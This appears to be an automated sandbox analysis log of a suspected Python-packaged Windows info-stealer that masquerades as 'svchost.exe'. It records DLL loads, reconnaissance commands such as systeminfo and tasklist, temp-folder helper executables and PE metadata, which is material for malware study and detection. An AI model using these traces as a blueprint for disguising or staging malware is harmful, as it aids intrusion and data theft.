Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcmonitor.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3cfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3api.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: onex.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: eappcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: eappprxy.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: hnetmon.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: netshell.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: netsetupapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: netiohlp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nettrace.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nshhttp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: httpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nshipsec.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: activeds.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: polstore.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: winipsec.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: adsldpc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nshwfp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: cabinet.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: p2pnetsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: p2p.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rpcnsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wcnnetsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wlanapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: whhelper.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wlancfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wshelper.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wevtapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wwancfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wwapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wcmapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rmclient.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mobilenetworking.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: peerdistsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: slc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ktmw32.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mprmsg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\tree.com	Section loaded: ulib.dll
Source: C:\Windows\System32\tree.com	Section loaded: fsutilext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll
Source: C:\Windows\System32\tree.com	Section loaded: ulib.dll
Source: C:\Windows\System32\tree.com	Section loaded: fsutilext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windowscodecs.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tree.com	Section loaded: ulib.dll
Source: C:\Windows\System32\tree.com	Section loaded: fsutilext.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\tree.com	Section loaded: ulib.dll
Source: C:\Windows\System32\tree.com	Section loaded: fsutilext.dll
Source: C:\Windows\System32\tree.com	Section loaded: ulib.dll
Source: C:\Windows\System32\tree.com	Section loaded: fsutilext.dll
Source: C:\Windows\System32\tree.com	Section loaded: ulib.dll
Source: C:\Windows\System32\tree.com	Section loaded: fsutilext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI74482\rar.exe	Section loaded: powrprof.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI74482\rar.exe	Section loaded: umpdc.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI74482\rar.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI74482\rar.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI74482\rar.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI74482\rar.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI74482\rar.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI74482\rar.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI74482\rar.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI74482\rar.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI74482\rar.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI74482\rar.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI74482\rar.exe	Section loaded: msasn1.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: mpclient.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: secur32.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: sspicli.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: version.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: msasn1.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: userenv.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vbscript.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll

Source: C:\Users\user\AppData\Local\Temp\_MEI57402\Build.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00BB2765-6A77-11D0-A535-00C04FD7D062}\InProcServer32

Jump to behavior

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\systeminfo.exe systeminfo

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST

Source: C:\Users\user\Desktop\svchost.exe

File opened: C:\Users\user\Desktop\pyvenv.cfg

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Source: svchost.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: svchost.exe

Static file information: File size 22529870 > 1048576

Source: svchost.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: svchost.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: svchost.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: svchost.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: svchost.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: svchost.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: svchost.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source: svchost.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: Build.exe, 00000008.00000002.1315472158.0000000000BD6000.00000002.00000001.01000000.00000007.sdmp, Build.exe, 00000008.00000000.1288928382.0000000000BD6000.00000002.00000001.01000000.00000007.sdmp
Source:	Binary string: api-ms-win-crt-locale-l1-1-0.pdb source: hacn.exe, 00000009.00000003.1318383886.000001ECA6249000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-runtime-l1-1-0.pdb source: hacn.exe, 00000009.00000003.1318518944.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\unicodedata.pdb source: hacn.exe, 00000009.00000003.1332352490.000001ECA624C000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000002.1731689375.00007FFB0B0DC000.00000040.00000001.01000000.00000026.sdmp, hacn.exe, 0000000D.00000002.1615633006.00007FFB0209C000.00000002.00000001.01000000.00000034.sdmp
Source:	Binary string: api-ms-win-core-file-l1-2-0.pdb source: hacn.exe, 00000009.00000003.1317380900.000001ECA6249000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_lzma.pdbMM source: hacn.exe, 00000009.00000003.1316164332.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000002.1736377163.00007FFB0CAEB000.00000040.00000001.01000000.00000012.sdmp, hacn.exe, 0000000D.00000002.1617366112.00007FFB0211B000.00000002.00000001.01000000.00000031.sdmp
Source:	Binary string: api-ms-win-core-synch-l1-2-0.pdb source: hacn.exe, 00000009.00000003.1317748057.000001ECA6249000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\libssl-1_1.pdb@@ source: based.exe, 0000000C.00000002.1733760402.00007FFB0B7A6000.00000040.00000001.01000000.00000021.sdmp, hacn.exe, 0000000D.00000002.1619265610.00007FFB022A6000.00000002.00000001.01000000.0000002B.sdmp
Source:	Binary string: d:\a01\_work\12\s\\binaries\amd64ret\bin\amd64\\vcruntime140_1.amd64.pdb source: hacn.exe, 00000009.00000003.1312899991.000001ECA6241000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000002.1625623255.00007FFB1B9F5000.00000002.00000001.01000000.00000038.sdmp
Source:	Binary string: api-ms-win-core-file-l1-2-0.pdbGCTL source: hacn.exe, 00000009.00000003.1317380900.000001ECA6249000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_ASM -DRC4_ASM -DMD5_ASM -DAESNI_ASM -DVPAES_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DX25519_ASM -DPOLY1305_ASM source: based.exe, 0000000C.00000002.1732269707.00007FFB0B340000.00000040.00000001.01000000.00000022.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\sqlite3.pdb source: based.exe, 0000000C.00000002.1735004017.00007FFB0B861000.00000040.00000001.01000000.0000001B.sdmp
Source:	Binary string: api-ms-win-core-localization-l1-2-0.pdb source: hacn.exe, 00000009.00000003.1317496227.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\pywintypes.pdb source: hacn.exe, 0000000D.00000002.1615071431.00007FFB01ED0000.00000002.00000001.01000000.00000037.sdmp
Source:	Binary string: api-ms-win-crt-string-l1-1-0.pdbGCTL source: hacn.exe, 00000009.00000003.1318653656.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\libcrypto-1_1.pdb source: based.exe, 0000000C.00000002.1732269707.00007FFB0B3C2000.00000040.00000001.01000000.00000022.sdmp
Source:	Binary string: api-ms-win-core-processthreads-l1-1-1.pdb source: hacn.exe, 00000009.00000003.1317621694.000001ECA6249000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-locale-l1-1-0.pdbGCTL source: hacn.exe, 00000009.00000003.1318383886.000001ECA6249000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\libssl-1_1.pdb source: based.exe, 0000000C.00000002.1733760402.00007FFB0B7A6000.00000040.00000001.01000000.00000021.sdmp, hacn.exe, 0000000D.00000002.1619265610.00007FFB022A6000.00000002.00000001.01000000.0000002B.sdmp
Source:	Binary string: api-ms-win-core-localization-l1-2-0.pdbGCTL source: hacn.exe, 00000009.00000003.1317496227.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\select.pdb source: hacn.exe, 00000009.00000003.1331225412.000001ECA6244000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000002.1738053601.00007FFB1D5B1000.00000040.00000001.01000000.0000001D.sdmp, hacn.exe, 0000000D.00000002.1627160306.00007FFB1D543000.00000002.00000001.01000000.0000001F.sdmp
Source:	Binary string: api-ms-win-core-sysinfo-l1-2-0.pdbGCTL source: hacn.exe, 00000009.00000003.1317974807.000001ECA6249000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: @ compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_ASM -DRC4_ASM -DMD5_ASM -DAESNI_ASM -DVPAES_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DX25519_ASM -DPOLY1305_ASMOpenSSL 1.1.1t 7 Feb 2023built on: Thu Feb 9 15:27:40 2023 UTCplatform: VC-WIN64A-masmOPENSSLDIR: "C:\Program Files\Common Files\SSL"ENGINESDIR: "C:\Program Files\OpenSSL\lib\engines-1_1"not available source: based.exe, 0000000C.00000002.1732269707.00007FFB0B340000.00000040.00000001.01000000.00000022.sdmp
Source:	Binary string: d:\a01\_work\12\s\\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: svchost.exe, 00000000.00000003.1263725197.000002156082D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.1298455332.00007FFB1C301000.00000002.00000001.01000000.00000006.sdmp, hacn.exe, 00000009.00000003.1312340200.000001ECA6240000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000B.00000003.1315043510.000001C577E16000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000002.1737595791.00007FFB1BB21000.00000002.00000001.01000000.0000000F.sdmp, hacn.exe, 0000000D.00000002.1625904169.00007FFB1BA51000.00000002.00000001.01000000.00000015.sdmp
